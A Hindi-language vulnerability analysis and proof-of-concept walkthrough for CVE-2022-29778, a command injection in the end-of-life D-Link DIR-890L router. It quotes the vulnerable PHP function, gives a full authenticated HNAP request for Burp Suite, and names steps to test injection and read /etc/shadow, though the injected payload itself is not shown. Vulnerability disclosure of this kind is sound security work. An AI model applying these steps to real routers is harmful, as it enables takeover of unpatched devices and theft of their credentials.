
D-Link DIR-890L RCE (CVE-2022-29778) के लिए विश्लेषण और PoC
प्रभावित संस्करण: <= v1.22B01 हॉटफिक्स (नवीनतम)
फर्मवेयर: यहाँ
यह मॉडल अपने जीवन-चक्र के अंत तक पहुँच चुका है। इन उत्पादों से जुड़े संसाधनों का विकास बंद हो चुका है और अब इन्हें समर्थन नहीं दिया जाता। D-Link Systems, Inc. इन उत्पादों को सेवानिवृत्त करने और उन्हें फर्मवेयर अपडेट प्राप्त करने वाले उत्पादों से बदलने की सिफारिश करता है।
इसके फर्मवेयर में हम SetVirtualServerSettings.php में एक फ़ंक्शन getWOLMAC पा सकते हैं
function getWOLMAC($ipv4addr)
{
$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
setattr("/runtime/wakeonlan/mac", "get", $cmd);
$mac = get("", "/runtime/wakeonlan/mac");
del("/runtime/wakeonlan/mac");
return $mac;
}
$cmd बिना फ़िल्टरिंग के $ipv4addr को सीधे कमांड में जोड़ता है, और इसे यहाँ कॉल किया जाता है
$ipv4addr = get("x", "LocalIPAddress");
...
if($description == "Wake-On-Lan")
{
$wolmac = getWOLMAC($ipv4addr);
set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
}
तो जब आप $description (वर्चुअल सर्वर नाम के अनुरूप) को "Wake-On-Lan" के रूप में सेट करते हैं, तो वर्चुअल सर्वर से संबंधित पृष्ठों: /VirtualServer.html में RCE (रिमोट कमांड निष्पादन) मौजूद हो सकता है।
इसमें प्रमाणीकरण आवश्यक है, इसलिए पहले लॉग इन करें।

फिर वर्चुअल सर्वर पृष्ठ (/VirtualServer.html) पर जाएँ जो पैनल के माध्यम से दुर्गम है।

Wake-On-Lan नाम का एक नियम जोड़ें।

Save बटन पर क्लिक करने से पहले burpsuite प्रारंभ करें और निम्नलिखित पैकेट कैप्चर करें:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings>
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
<ExternalPort>1</ExternalPort>
<InternalPort>1</InternalPort>
<ProtocolType>TCP</ProtocolType>
<ProtocolNumber>6</ProtocolNumber>
<LocalIPAddress>192.168.0.100</LocalIPAddress>
<ScheduleName></ScheduleName>
</VirtualServerInfo>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>
एक http सर्वर तैयार करें फिर:

RCE(रिमोट कमांड निष्पादन) का परीक्षण करने के लिए Repeater मॉड्यूल का उपयोग करें:

और हमें मिलता है:

कमांड इंजेक्शन का परीक्षण करें और /etc/shadow पढ़ें:
